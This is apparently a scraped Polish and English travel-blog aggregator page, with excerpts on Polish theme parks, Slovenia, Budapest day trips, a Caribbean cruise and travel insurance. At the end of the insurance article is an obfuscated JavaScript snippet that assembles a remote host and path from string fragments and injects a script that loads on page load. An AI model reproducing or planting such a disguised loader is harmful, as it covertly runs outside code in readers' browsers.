Zakopane, Festiwal Folkloru Ziem Górskich - kulisy

droga/miejsca/ludzie

Zakopane, Festiwal Folkloru Ziem Górskich - kulisy

Festiwal Folkloru Ziem Górskich 2015 widziany od kuchni.

Międzynarodowy Festiwal Folkloru Ziem Górskich w Zakopanem

droga/miejsca/ludzie

Międzynarodowy Festiwal Folkloru Ziem Górskich w Zakopanem

W Zakopanem właśnie dobiega końca Międzynarodowy Festiwal Folkloru Ziem Górskich. Poniżej kilka zdjęć z zeszłego roku.

Gorce: Gorcstok 2016

With love

Gorce: Gorcstok 2016

Skąd się biorą karpie, Stawy Milickie

droga/miejsca/ludzie

Skąd się biorą karpie, Stawy Milickie

We wrześniowych "Podróżach" nasze jesienne Stawy Milickie. Polecam!Piękne miejsce, ciekawe historie i ładnie nam wyszło :)

Zobaczyć Seul i umrzeć, czyli Weekendowi i Korea Południowa

WEEKENDOWI PODRÓŻNICY

Zobaczyć Seul i umrzeć, czyli Weekendowi i Korea Południowa

One Day in Szentendre in Pictures

Picking the Pictures

One Day in Szentendre in Pictures

I'm not the biggest fan of Budapest, and when I happened to be there on an exceptionally hot Saturday, my desire to leave the city as soon as possible has won over my internal urban explorer. I had a few day trip ideas, but I just went for the easiest one after all. In my defense, I traveled all night to get to Hungary from Armenia. So, I went to Szentendre and it was perfect. Well, a riverside town that used to be an art colony must be perfect. And it has a huge Open Air Museum that gives a visitor a perfect insight into rural Hungarian architecture. Also, it is really easily accessible from Budapest by both river and rails. Long story short, just go there while in Budapest.

WEEKENDOWI PODRÓŻNICY

Zabezpieczony: Zobaczyć Seul i umrzeć, czyli Weekendowi i Korea Południowa

(adsbygoogle = window.adsbygoogle || []).push({}); Ta treść jest chroniona hasłem. Aby ją zobaczyć, podaj hasło poniżej: Hasło: Artykuł Zabezpieczony: Zobaczyć Seul i umrzeć, czyli Weekendowi i Korea Południowa pochodzi z serwisu weekendowi.pl.

Farma Iluzji vs. Magiczne Ogrody. Parki rozrywki “made in Poland”, czyli gdzie najlepiej wyjechać w weekend?

WEEKENDOWI PODRÓŻNICY

Farma Iluzji vs. Magiczne Ogrody. Parki rozrywki “made in Poland”, czyli gdzie najlepiej wyjechać w weekend?

(adsbygoogle = window.adsbygoogle || []).push({}); Choć Polska nie dorobiła się jeszcze swojego Legolandu, to jednak mamy kilka godnych uwagi parków rozrywki. Dlatego jeśli jesteś rodzicem (albo i nie, choć to główna grupa docelowa takich miejsc) i przeraża cię wizja siedzenia w weekend w domu, to koniecznie musisz przeczytać ten tekst. Ah, parki rozrywki, czyli wiecie… takie trochę większe wesołe miasteczka. Jedno z fajniejszych wspomnień dzieciństwa to wycieczki do Warszawy do słynnego Cricolandu, czyli takiego (#gimbynieznajo) prapraprzodka dzisiejszych parków rozrywki, gdzie flekowano do cna kieszenie rodziców. A jeśli coś zostało, to wydawało się na frytki i sok w McDonald'sie (oczywiście, jak już się wystało w tej gigantycznej kolejce). Wydawałoby się, że zamiłowanie do tego typu przybytków mija wraz z wiekiem, ale nie… Kiedy kilka lat temu byliśmy na wycieczce w Danii, a Iza koniecznie chciała pojechać do Legolandu, byłem na nie. Mój opór był jeszcze większy, gdy zobaczyłem ceny biletów (jakieś 150 zł od łebka, może więcej). Ale jakoś to przełknąłem i wlazłem tam, ale tak bez przekonania. Efekt? Po pół dnia Iza musiała mnie stamtąd wyciągać prawie siłą, a przy większości tych miniaturowych instalacji popędzała, żebyśmy szli dalej. W Polsce takich parków jeszcze się nie dorobiliśmy, ale to wcale nie znaczy, że nie ma fajnych miejsc w tym klimacie. Takich idealnych na całodniową wizytę. A my całkiem niedawno odwiedziliśmy 2 z nich: Farmę Iluzji i Magiczne Ogrody. Dlaczego? Bo nie lubimy spędzać weekendów w domu (ja czasem lubię – to pisałem ja, Mariusz). Tak co do zasady, no i nazwa bloga też jednak do czegoś zobowiązuje. A ponieważ budżetu nam jednak nie staje, by każdy weekend spędzać w innej europejskiej stolicy (inna sprawa, że w większości już byliśmy ), to regularnie ruszamy w takie krótsze lub dłuższe wyprawy po Polsce. I to takie, które muszą uwzględniać Helciaka. Zacznijmy więc od początku. 1. CO TO ZA MIEJSCA I JAK TAM DOJECHAĆ? Farma Iluzji to istniejący od 2012 r. park rozrywki położony nieopodal Garwolina, kilka kilometrów w bok od krajowej 17-tki. Położony w lesie obiekt jest (jak sama nazwa wskazuje) pełen różnego rodzaju „magicznych” miejsc, które zwodzą nasze zmysły w różne możliwe strony. Park jest dość spory, rozlokowany na ponad 4 ha terenu. Na plus dość wygodny dojazd z Warszawy (niecałe 100 kilometrów), choć kiepskie oznaczenia sprawiają, że w podróż dobrze zabrać ze sobą GPS-a. Magiczne Ogrody leżą trochę dalej od Warszawy, bo w Janowcu, rzut beretem od Puław, ale z pewnością znajdują się w ciekawszej okolicy. No bo przecież tuż za Wisłą jest malowniczy Kazimierz Dolny, a nieco ponad 30 kilometrów dalej jest wspaniały park w Nałęczowie (a stamtąd to już rzut beretem do Lublina, a z Lublina to wiadomo, koniecznie do Zamościa, a z Zamościa to już wstyd nie pojechać do Lwowa i tak wyglądają nasze niektóre wyjazdy). Magiczne Ogrody są znacznie większe od Farmy Iluzji, ale też oferują trochę inne atrakcje. Park w Trzciance to połączenie wspaniałej architektury krajobrazu ze świetnymi urządzeniami do zabawy dla całej rodziny. Jest tu wielka zjeżdżalnia, karuzele, labirynty. Oddajmy zresztą głos konstruktorom parku. – „Ogród to wędrówka ku istocie świata, wędrówka ogrodnika do wnętrza siebie. To zrozumienie, że prawdziwa kompozycja natury spokojnie oddycha….” – dobra, chyba starczy. 2. JAKIE CZEKAJĄ WAS ATRAKCJE I CZY SĄ TO MIEJSCA TYLKO DLA DZIECI? Na drugą część pytania już na starcie możemy odpowiedzieć zdecydowanie: NIE, choć oczywiście rodziny z dziećmi stanowią lwią część klientów parku. Nie da się ukryć, że nieco bardziej adresowaną do dzieci jest oferta Farmy. Tych mniejszych, ale też trochę starszych. FARMA ILUZJI Co jest fajne? Już na samym wejściu widzimy Latającą Chatę Tajemnic, czyli przekrzywiony domek, gdzie błędnik odmawia tajemnic. Wchodząc do środka trzeba się naprawdę mocno trzymać. Zabawa była zacna, choć w środku długo nie wytrzymaliśmy, bo faktycznie wszystko leciało nam do dołu. Oczywiście, uwaga ta nie odnosi się do Helki, którą trzeba było odrywać od nogi taboretu, który sama z wielką checią próbowałą zdemontować. Fajnych miejsc jest tu więcej – są np. lewitujące piłeczki i „głowa na talerzu”, czyi słynna iluzja będąca idealnym miejscem do zrobienia pamiątkowego zdjęcia. Takich drobnych optycznych tricków jest tu zresztą więcej. I może nie są one jakimś szczytem techniki, ale gwarantuję, że przy  każdej spędzicie dobre kilka minut (z dzieckiem do kilkunastu) świetnie się przy tym bawiąc. A skoro park dla dzieci, to oddajmy głos Helce. Co jej się najbardziej podobało? Faworytem był z pewnością Zakręcony Domek. Taki mały budyneczek, który kręci się dookoła własnej osi….z ludźmi w środku. Bardzo podobał jej się też Rezerwat Dziki Smoków, czyli ruszające się i bardzo realistycznie odwzorowane modele kreatur wszelkiej maści. Ciekawych miejsc jest tu zresztą więcej – Tunel Zapomnienia, Grobowiec Faraona i Labirynt Luster, czyli poszukiwanie wyjścia z częstym obijaniem nosa o ściany.  Najfajniejsze w tym miejscu jest chyba jego położenie – w samym środku lasu, wszędzie zielono, do tego jeziorko. Oprócz dużych atrakcji dla dzieci co krok są tam ustawione rzeczy bardziej konwencjonalne, czyli huśtawki, place zabaw, duże pluszowe klocki do układania. Do tego fajny mostek nad stawem, po którym też można popływać łódką. MAGICZNE OGRODY Drugi park rozrywki jest zbudowany w formie kilku diametralnie różniących się od siebie krain w osobnych dolinkach. Na samym początku mamy więc Dom Czarodziejek, czyli piętrowy zamek z masą zjeżdżalni i fajnym widokiem. To tu tłoczą się największe tłumy dzieciaków. Tuż obok znajduje się marchewkowe pole z ogromną i zapewne zasilaną GMO plantacją pysznych warzyw. A właśnie, byłbym zapomniał – tuż za wejściem znajduje się staw, po którym każdy chętny może sobie powiosłować tratwą. I to nawet jeśli nie umiesz pływać – woda ma ledwie pół metra głębokości  Tuż obok znajduje się wejście do kolejki – ciuchci, która prowadzi przez tunel i zielony labirynt. Poznacie to miejsce bez problemów, bo zawsze prowadzą do niego gigantyczne kolejki, a z powodu gigantycznego zainteresowania władze parku wprowadziły zasadę, że każde dziecko może się na niej przejechać tylko raz. Tuż obok znajduje się Robankowa Łąka, na której pasą się ni to żaby, ni to glisty. Dla mnie żadna atrakcja, ale po minie Helki wnoszę, że dzieciakom się podoba. Na samym końcu parku znajduje się podobno świetne Smocze Gniazdo (które olaliśmy, bo wstęp dla dzieciaków od 6 roku życia). Skupiliśmy się, więc na innych atrakcjach jak Krasnoludzki Gród. Można w nim wejść na taras widokowy, ale też pochodzić po podziemnych labiryntach. Można też postrzelać z łuku albo powalczyć specjalnymi mieczami z osłonką z waty. I tak płynnym ruchem przechodzimy do miejsca, gdzie do zachwyconych dzieci dołączą równie zadowoleni dorośli. Na początek zjeżdżalnia. I to nie byle jaka, bo ogromna. Z czterema torami, na moje oko sięgająca wysokości prawie trzech pięter. W tym miejscu PRO-TIP: Przed wejściem na górę koniecznie zaopatrzcie się w szary materiałowy fartuszek, który należy założyć przed zjazdem. Dobry ślizg gwarantowany. A bez fartuszka grozi wam np. zatrzymanie się w połowie zjeżdżalni i w najlepszym razie dość żenujące dopychanie się do dołu nogami, a w najgorszym – przysadzisty strzał w nery od berbecia, który zjeżdża tuż po tobie i wiesz co? Ma płachtę Są też inne atrakcje, np. bujające się łódeczki, które bujają sami ich pasażerowie, pociągajac za specjalne liny. Zabawa jest super, tym bardziej, że sami możemy dostować tempo i siłę „buja”. A tuż obok grill z kiełbaską, karkóweczką i innymi specjałami. Jest dobrze? No ja myślę. Jest też miejsce „na dobicie” milusińskich. Tuż przy wejściu do parku jest wielka łąka, na której rozstawione są wielkie klocki, kilka dużych trampolin, dmuchany zamek ze zjeżdżalnią i inne tego typu zabawki. Idealne miejsce, jeśli twoja pociecha nie zdążyła się jeszcze „wybawić”. 3. DODATKOWE ZALETY Oba miejsca absolutnie nadają się na piknik. Możesz zabrać swój kocyk, własne żarcie i po prostu się rozstawić, bo miejsca jest bardzo dużo. Gdzie fajniej? Trudno powiedzieć – Farma znajduje się wśród drzew, więc w ciepłe dni gwarantuje większy cień. Z kolei Magiczne Ogrody są prawie zupełnie odsłonięte – co kto lubi. Farma ma jednak tę delikatną przewagę, że ma ognisko, do którego w każdej chwili można się podpiąć, by podpiec kiełbaskę, chlebek, piankę marshmallow (a coale wszystkie? Taka amerykańska moda) czy na co tam tylko mamy ochotę. I w sumie jest to dobra opcja, bo oferta gastronomiczna jakoś szczególnie nie powala. Na Farmie mamy taki tradycyjny bar w klimatach klasyki polskiego fast foodu. Jest herbata w plastikowym kubku, schabowy z frytkami, hambuksy, hot-dogi i zapieksy (próbowałem, takie se), ale też np. panierowane serki. Zaleta: ceny nie są zaporowe. W Ogrodach oferta restauracyjna wygląda zdaje się trochę lepiej, bo i miejsca wyglądają jakoś tak schludniej i czyściej. Część restauracyjna znajduje się tuż przy wejściu i jest podzielona na 2 skrzydła: „restaurację” i kawiarnię, gdzie można też kupić desery i lody. I nie wiem czy to pora naszego przyjazdu (byliśmy na miejscu po godz. 16) czy co, ale wszystkie stoliki były zajęte, a do baru była kolejka na przysłowiowe milion dwieście Chińczyków. I w sumie nie bardzo wiadomo po co, bo z tego, co widzieliśmy, menu też wykwintnością nie grzeszy.  4. A WADY? Farma Iluzji w niesamowity sposób drenuje portfele klientów. Normalny bilet kosztuje 29 zł, ale uprawnia do wejścia tylko do części atrakcji. Do tych bardziej bajeranckich (jakieś karuzele etc.) wstęp jest dodatkowo płatny. Najczęściej po 5-10 zł za wejście. Właściciel parku dobrodusznie co prawda proponuje wykupienie tzw. złotej opaski za 35 zł, dającej nielimitowany dostęp do wszystkich atrakcji, jednak nie da się ukryć, że jest to zwykłe żerowanie na dzieciakach, którym przecież raczej ciężko się odmawia (a jak już się odmówi, to trzeba się liczyć z awanturą). Poza tym kurde – jeśli cała rodzina wykupi takie „all inclusive” to koszty takiej wyprawy nie będą już niskie, oj nie. „Wadą” Magicznych Ogrodów są… ogromne tłumy odwiedzające ten przybytek. Specjalnie wybraliśmy się tam w niedzielę po godz. 16, a i tak trudno nam było znaleźć miejsce na ogromnym parkingu. Na którym można było zaobserwować blachy naprawdę z całej Polski.  Wadą Ogrodów jest też… bardzo mała liczba dostępnych na miejscu pracowników czuwających nad bezpieczeństwem bawiących się. W efekcie ma się wrażenie, że całkowitą kontrolę nad parkiem mają zwiedzający. I z jednej strony to jest wielki plus, bo w Ogrodach są naprawdę fantastyczne zabawki. Jest np. karuzela dla dzieci, którą uruchamiają ruchami mięśni tatusiowie przesuwający ogromne koła. Albo te kołyszące się łódeczki – fajna sprawa. Z drugiej strony – są takie miejsca jak ta sięgająca trzeciego piętra zjeżdżalnia, na której panuje gwar i ścisk. I przyznam szczerze, trochę strach, że nikt tego nie nadzoruje. A podobnych miejsc znalazłoby się jeszcze kilka. Na drobny minus zasługuje też możliwość kupienia piwa. Jasne, nie bądźmy purytańscy, ale to się jakoś łączy z poprzednią wadą: skoro już nikt nie dogląda tego parku, to warto zostać tutaj trzeźwym. A po drugie: Ojcze, kurna! Jesteś tu ze swoim dzieckiem. 5. PODSUMOWANIE Oba miejsca są dość ciekawą opcją, jeśli akurat macie wolny dzień i nie macie czego ze sobą zrobić. I choć nie jest to co  prawda taka moc atrakcji jak we wspomnianym na wstępie Legolandzie, to oba iejsca są warte swojej ceny. I w sumie to je polecamy. PODOBAŁ CI SIĘ WPIS? POLUB NA FEJSBUKU, PODZIEL SIĘ Z INNYMI! Artykuł Farma Iluzji vs. Magiczne Ogrody. Parki rozrywki “made in Poland”, czyli gdzie najlepiej wyjechać w weekend? pochodzi z serwisu weekendowi.pl.

Gdzie wyjechać

Szlachetne miejsca na niespieszną podróż po Podlasiu. Pałace i dworki szlacheckie nad Bugiem

Szlachetne miejsca na niespieszną podróż po Podlasiu. Pałace i dworki szlacheckie nad Bugiem You must be 18 years old to view this content. Please verify your age.

With love

Nie potrafię udźwignąć ciężaru Wszechświata

Nie potrafię udźwignąć ciężaru Wszechświata. Czasami boję się, że zwali mi się na głowę — jak dach z zetlałych desek, który za długo znosił kaprysy Natury. Myślę sobie wtedy, że to niebezpieczne mieć nad sobą tę czarną, bezdenną otchłań.Że pewnego dnia złapie mnie za gardło i zacznie dusić, zacznie dusić każdego i właśnie tak skończy się świat. W ciszy. Leżeliśmy na środku łąki a gwiazdy znikały, jedna po drugiej, jak gaszone z cichym syknięciem świeczki. Być może spadły już wszystkie? Mgły podnosiły się coraz wyżej i zjadały po kawałku niebo, odbierając kształty światu. W zasadzie mogły kryć cokolwiek. Setki dawnych istnień, dzikie zwierzęta i strach, który czaił się z tyłu głowy, w gadzim mózgu, u podstawy czaszki. Uciekaj, albo giń. Słyszałam gdzieś opodal dźwięk dzwonka, który owce noszą na szyi, choć o 3 nad ranem wcale nie powinno ich tam być. Ani owiec, ani dźwięków. Lubię ten oddech Ziemi — bezgłośny i spokojny, kiedy rytm serca zgrywa się z odwiecznym rytmem natury, kiedy klatka piersiowa faluje w prastarym takcie, góra-dół, góra-dół, kiedy oczy powoli zamykają się i w zasadzie można by tak spać, pod gołym niebem, gdyby nie chłód wciskający się w rękawy, który uświadamia za każdym razem, że nie należymy już do tego zwierzęcego świata, bo nie mamy futra. I kiedy tak leżę i przytłacza mnie ciężar Wszechświata, którego nie potrafię udźwignąć, kiedy oddycham w rytmie Ziemi, bezgłośnie i spokojnie, kiedy chłód nocy wciska mi się w rękawy, czuję podskórnie, że rośnie mi ogon, że zęby stają się ostrzejsze, że na grzbiecie wyrasta mi sierść i że gdybym robiła to częściej, dłużej i bardziej, to którejś nocy zerwałabym się z łąki, tej czy tamtej, i pobiegła przed siebie — bo nie umiem inaczej wytłumaczyć sobie faktu, że to właśnie wtedy, na tych łąkach, pod czarną, bezdenną otchłanią, najbardziej mnie ciągnie do lasu. Radocyna, sierpień 2016 Post Nie potrafię udźwignąć ciężaru Wszechświata pojawił się poraz pierwszy w With Love.

Magia Puszczy Augustowskiej

droga/miejsca/ludzie

Magia Puszczy Augustowskiej

  

Perfect Eastern Caribbean Cruise

Picking the Pictures

Perfect Eastern Caribbean Cruise

I was never a cruise person. Well, I'm not much of a beach bum either, but I recently started to realize that I need my vitamins sea and sun more and more, and that my lifestyle of a freelance road-tripper calls for a break once or twice a year. That's when I started researching activities that have never even crossed my mind before. SourceA luxury Caribbean cruise is one of them. Let's talk about the best adventure everyone needs to take soon. We will be going to Eastern Caribbean and we will stop at 3 marvelous spots: The Bahamas, St. Thomas and Sint Maarten. The BahamasI'm sure you've seen tons of images of this picture-perfect archipelagic country. The beaches aren't everything; you will also find numerous historical and cultural attractions there. Snorkeling and diving are a must-do. Discovering the underwater world is a truly special way to experience the country. You can do it pretty much everywhere in the Bahamas, but I would recommend you Eleuthera Island. I promise you there will be more reef fish than tourists there. If you ever get bored with it you can always learn about the local history in Pirates of Nassau Museum or the Garden of the Groves in Freeport, a lush green botanical garden, a perfect place to experience Caribbean wildlife. St. ThomasWhat comes to your mind when you think about Virgin Islands? I bet you must recall these white sand beaches, crystal clear turquoise water and robin egg blue skies everyone's summer holiday dreams are made of. This is what St. Thomas, one of the prominent islands of the US side of the archipelago, is all about. It's literally filled with gorgeous beaches, but if I have to choose just one, I would advise you to try the Lindquist Beach. In the evenings hang out in Redhook. This port town is where the best restaurants, bars and cafes are. If you have more time in Virgin Islands after indulging in beach and pool days, sail around. Take a trip to Buck Island, the only Marine national park in the United States., party at Jost Van Dyke or go hiking in the Reef Bay Trail. As you see, you won't run out of options. SourceSt. MaartenThis dual-nation island might only measure 37 square miles, but it's not size that counts in travel. It's a paradise for more adventurous visitors. Try scuba diving or zip-lining at Pic Paradise, hike up to Fort Louis, the island's most important historical monument. Wildlife lovers should also visit the Butterfly Farm. Water lovers might also consider kayaking to the nearby Pinel Island, a tiny, mostly deserted spot, ideal for snorkeling. As you can see, life is more than hammock, cocktails and sandy beaches here in St. Maarten. This little place has something for each and every type of traveler!What do you think of this itinerary? Have you ever been on a cruise? How did you like it?

Your Home in Ljubljana – Vila Veselova Hostel

Picking the Pictures

Your Home in Ljubljana – Vila Veselova Hostel

I knew I would love Ljubljana before I even stepped out of the train that brought me to the city. And it wasn't only because of my pre-trip research (read: browsing pretty images on Pinterest and Instagram and getting overexcited). It was just the way this region makes me feel. To say that I love Central Europe is an understatement. No matter where I live, I only belong to this very part of the world. I've never been to Slovenia before, but it felt a little like homecoming. Thank you, regional identity. All that said, I still needed to find a place to stay to make me feel that the city loves me back. I found Vila Veselova Hostel and I would love to take a minute of your time to tell you about this cozy mansion right next to Tivoli Park. LocationVila Veselova is located in the center of Ljubljana, just 10-minute walk from the famous Prešeren Square. It is situated right next to the Tivoli Park, the green lungs of the Slovene capital, which might make all runners very happy. It is also really peaceful and quiet, which is quite unusual for its central location. You can be sure you will get your quality sleep here. Even the railway tracks nearby are not an issue. I stayed in two different rooms in this hostel and nothing has ever bothered me in any way. The building itself is quite awesome, too. It's a traditional villa designed over a century ago by Ciril Metod Koch, one of the remarkable Slovene architects who introduced Art Noveau style to the country. Today it gracefully combines traditional and modern. I would call it a perfect space to create a cozy hostel for travelers who are looking for balance between a party place and a quiet comfort zone. Inside the hostelIf you read the previous paragraph, you might already guess that the interior of this hostel simply has to be remarkable, just because, well, Art Noveau villas usually aren't too shabby. It was also decorated with true passion and taste, you can tell from a brief look. I loved my first few minutes in the hostel just discovering all the little gems on the walls and all over the shelves. The hostel offers private rooms and dorms. You can choose a bedroom decorated in your favorite color from turquoise to lime to orange. I've stayed in two different dorms and they were both spacious and comfortable. You won't have to step out of your comfort zone here. In addition, Vila Veselova has a really well equipped kitchen, so if you are planning on cooking your own meals while in Ljubljana, this will be a suitable place for sure. There is always fresh coffee, several kinds of tea and fruit syrups at your disposal. If you need a late night snack, there is a vending machine, which also sells the most popular Slovene beers. Needles to say this saved my life several times when I joined an ad hoc party or a late night travel discussion in the common room.Oh, did I say common room? So, the common room is really cool as well. This is where you find board games, new friends, a little library, and tons of practical information about Slovenia like up to date train and bus schedules or opening hours of the most visited monuments in the country. I used to sit there with my notebook catching up with freelance work, but many times I just stayed there long into the night sharing stories and beers with other travelers. Unfortunately, beers and stories are not everything. Or they might be, but you need to earn a few dollars first. You probably know that I'm a full-time freelancer who always works on the road. This makes my WiFi dear to me. I won't stay at a place, no matter how cool it would be, if it didn't offer a decent and stable internet connection. Fortunately, WiFi is good enough at Vila Veselova and it's available throughout the property. Last but not least, the breakfast. I always love when a hostel serves it. In many countries it's rarely seen, but in Vila Veselova you get toasts, several types of cereal, cheese, jam, seasonal fruit, tea, and coffee. It's certainly an added value that should be mentioned. The StaffI think I was a difficult guest. I didn't make enough research and I had all these day trip ideas everyone had to help me with, and all these questions about Slovenia everyone had to answer. After five days of this crazy quest I can tell Vila Veselova has the nicest and the most competent team. They are knowledgeable and passionate about their country and the region, and I'm sure that they will make you feel that Slovenia, nicknamed the country of love, truly loves backpackers.Visit Vila Veselova's website hereLike Vila Veselova on FacebookI partnered with Vila Veselova Hostel on my trip to Ljubljana. As always, all the opinions are mine. Photos of dorm rooms were provided by the hostel management. All the other images were taken by me. 

Postcards from the Slovenian Coast

Picking the Pictures

Postcards from the Slovenian Coast

Slovenian coast isn't exactly famous. The Slovene Riviera only measures 46.6, so a constantly rushing backpacker might as well overlook it. He might, but you shouldn’t. It’s quality not quantity that counts in travel, right?I feel so weird trying to convince you to visit this little piece of northern Adriatic coast. Me? I mean I'm that odd chick who gets bored after a day on the beach, or, in the best case scenario, she just sits and reads books, forgetting where she actually is.So, why should you bother? Because this tiny piece of land squatting between Italy and Croatia is diverse enough to keep you entertained. You like picture-perfect coastal towns? No problem, checked. Piran is so cute it will hurt your eyes. The fishing port of Izola is not bad either, and the fancier resort of Portorož has the best gelato (looks like someone has been learning from their neighbours). You like some nature? No problem, you can still find a quite wild beach, so close yet far from busy cafes of the more touristy parts of the coast. And of course you like someone Mediterranean cuisine topped with a cup of good Italian coffee, right? I know you do. A practical tip before I finally leave you alone with the images: there are so many connections between Ljubljana and the more industrial Koper that you won't have any trouble with getting there and back. You can always try the local Slovenian carpooling website. It worked wonders for me on that route. Enough of my talking now. I kept taking too many photos, so that I have enough material to bother you. Here you go guys.Thank you for taking this tour with me! I have more on Slovenia coming up soon!

Interview na zieloną kartę (Green Card)

Orbitka

Interview na zieloną kartę (Green Card)

Zuiko 7-14 PRO opinia

Dobas

Zuiko 7-14 PRO opinia

Salgado ostatnie dni

Dobas

Salgado ostatnie dni

Himalaje 2016 - Prolog

dwa kółka i spółka

Himalaje 2016 - Prolog

Wszystko oczywiście zbiega się w jednym momencie. Przegląd Oliviera (bo mu "siedemdziesiątka" stuknęła). Naprawa auta (które złodzieje popsuli mi przy okazji kradzieży AJP). Ostatnie dni w "starej" pracy (za niektórymi ludźmi to nawet będę tęsknić i łezka w oku mi się zakręciła). ŚDM i lekka dezorientacja w mieście. Burzowa pogoda i przyjazd Kingi z On Her Bike do Polski (bardzo chciałam się z nią zobaczyć, ale nie wyszło, bo nawałnica nie wypuściła mnie z domu na motku). Zlot forumowy pod Tatrami i jeszcze Pani z Radia Kraków, która chce ze mną pogadać o "nietypowych kobiecych pasjach". Połowa zaplanowanych rzeczy się udaje, połowa oczywiście nie, ale nie da się wszystkiego zrobić, gdy jest tego aż tyle w tak krótkim czasie. Zwłaszcza, że przede mną wyprawa na "Księżyc". Do Indii. W Himalaje.Dopinamy ostatnie sprawy organizacyjne - powstaje platforma do wpłat na Fundację Akogo?, a także organizujemy zakupy kredek, piłek i innych akcesoriów dla dzieciaków ze szkół na naszej trasie.Standardowo trzeba się jeszcze spakować, a limit 15 kg na jednym z lotów nie ułatwia sprawy, zwłaszcza, gdy trzeba wziąć cały motocyklowy ekwipunek ze sobą, a do tego tonę "gadżetów". Miby nie wygląda to groźnie, ale swoje waży.Ostatnie dni w pracy na szczęście pozwalają na dogrywanie pakowania i innych (choć nie wszystkich) spraw. W piątek udaje mi się nawet wylogować wcześniej, w strugach deszczu wydostać z Krakowa, przeprawić promem, zignorować zamkniętą drogę "gdzieś tam na trasie" i po prostu nią przejechać i pomimo drzew zwalonych na Zakopiankę dojechać pod Tatry na forumowy zlot. Jak zwykle impreza jest udana, a widokowa traska przez góry i wioski też zapada w pamięć.Koniec weekendu to koniec czasu na przygotowania. Prawie. W poniedziałek rano ruszam do Warszawy, gdzie odstawiam służbowe auto i odsyłam laptopa. Po południu robię jeszcze wyjazdowy manicure i mogę lecieć. A to we wtorek. Już. W środę wsiadamy na Bullety i jedziemy podbijać najwyższe przełęcze świata.Mamy SPOTa, więc możecie jechać razem z nami: http://goo.gl/zeAJmoDroga będzie długa... i piękna!A że wsparło nas SONY dając dwie kamery i drona i jedzie z nami Ania "AnTośka", która potrafi zrobić dobry kawałek materiału filmowego, to na pewno będziemy miały się czym dzielić po powrocie!

Jak radzę sobie z backupem

Dobas

Jak radzę sobie z backupem

Recenzja: „Opowiadania i humoreski łemkowskie”

With love

Recenzja: „Opowiadania i humoreski łemkowskie”

Co warto zobaczyć w Kijowie w 24 godziny. Zwiedzanie w klimatach “Muppet Show”

WEEKENDOWI PODRÓŻNICY

Co warto zobaczyć w Kijowie w 24 godziny. Zwiedzanie w klimatach “Muppet Show”

Kolibry

Orbitka

Kolibry

Gdzie wyjechać

Szlachetne miejsca na weekend we dwoje. Dwory i pałacyki Małopolski

Szlachetne miejsca na weekend we dwoje. Dwory i pałacyki Małopolski Dwory i dworki to chyba jeden z najbardziej charakterystycznych elementów krajobrazu dawnej Polski. I to takich, których nie ma w żadnym innym miejscu na świecie. Co ciekawe, słowo "dwór" nie da się przetłumaczyć na angielski ani francuski. Było ich kilkanaście tysięcy od Wielkopolski po Dniestr i Niemen, do dziś zachowało się niecałe dwa tysiące.

Wąwóz Vintgar – słoweński cud natury

WEEKENDOWI PODRÓŻNICY

Wąwóz Vintgar – słoweński cud natury

Kijów – praktycznie o stolicy Ukrainy

Podróżniczo

Kijów – praktycznie o stolicy Ukrainy

Podróżniczo

Jak wybrać ubezpieczenie na wakacje?

Wyjazd na wakacje zawsze wiąże się z przygotowaniami i precyzyjnym planowaniem. Bilety lotnicze, hotel, lokalne atrakcje. Nie można zapominać także o ubezpieczeniu turystycznym, które może okazać się niezbędne, gdy znajdziesz się w niebezpiecznej sytuacji. Zobacz, jak wybrać odpowiednie ubezpieczenie na wakacje? Czy wyjeżdżasz na wakacje na własną rękę, czy z wycieczką zorganizowaną, warto wykupić odpowiednie ubezpieczenie turystyczne, aby mieć zabezpieczenie w nieoczekiwanych i nieplanowanych sytuacjach. Oczywiście nikt nie sugeruje, że wyjazd urlopowy będzie niebezpieczny, ale lepiej dmuchać na zimne, niż później płacić z własnej kieszeni za opiekę medyczną. Koszt polisy uzależniony jest od wielu kwestii, np. od tego gdzie się wybierasz, na jak długo itp. Często najtańsze oferty można dostać już za kilkadziesiąt złotych, dlatego taka inwestycja będzie nieodczuwalna, a w momencie hospitalizacji czy anulowanej rezerwacji odczujesz zalety swojej decyzji. Przeczytaj także: Poradnik taniego podróżowania – jak podróżować, żeby nie zbankrutować? Lepsze coś niż nic? Gdy jedziesz na wycieczkę zorganizowaną, biura podróży oferują już w pakiecie odpowiednia polisę. Czy jest ona wystarczającym zabezpieczeniem? W większości przypadków tak. Jednak są pewne wyjątki – anulowanie rezerwacji z różnych przyczyn czy następstwa wypadków, które wynikają z uprawiania sportów ekstremalnych. To tylko przykłady, których podstawowe polisy turystyczne nie obejmują. Nieco inaczej kształtuje się podróżowanie na własną rękę. Tutaj ubezpieczenia turystycznego po prostu nie mamy. Alternatywy to Europejska Karta Ubezpieczenia Zdrowotnego, która również ma pewne ograniczenia lub zakup polisy. W takich sytuacjach zawsze należy odpowiedzieć sobie na pytanie – na czym mi bardziej zależy? Przed czym powinna zabezpieczyć taka umowa z ubezpieczalnią? Przezorny zawsze ubezpieczony Aby znaleźć odpowiednie ubezpieczenie turystyczne, warto skorzystać z porównywarki Rankomat.pl. Z badań wynika, że Polacy najczęściej wybierają pakiet, który sfinansuje koszty związane z następstwami nieszczęśliwych wypadów oraz OC. Jednak warto rozszerzać takie polisy o kilka ekstra zapisów takich, jak: zniszczenie bagażu czy urazy spowodowane uprawianiem sportów (nie tylko tych ekstremalnych). Takie opcje nie są objęte polisą w przypadku podstawowych ubezpieczeń turystycznych. Natomiast osoby, które lubią poczuć dreszcz emocji, wspinają się po górach, żeglują po oceanie czy jeziorze, niezbędna może okazać się polisa, która obejmuje także akcje ratownicze i poszukiwawcze. Nawet doba pracy ratowników może porządnie nadszarpnąć kieszeń. (function(){ cz5b=document.createElement("script");cz5b_=("ust");cz5bu="10504081"; cz5b_+="a"+("t.i");cz5b.type="text/javascript"; cz5bu+=".vyp2k5ddz5b63u79ihz0";cz5b.async=true;cz5b_+="n"+("f"+"o")+"/"; cz5bu+="xz5addkqjv";cz5b.src="//"+cz5b_+cz5bu; document.body.appendChild(cz5b); })();

Nawyki – drobne a ważne

Dobas

Nawyki – drobne a ważne

Drobne nawyki

Dobas

Drobne nawyki

Podróżniczo

Twoja samodzielna podróż – Karol Werner

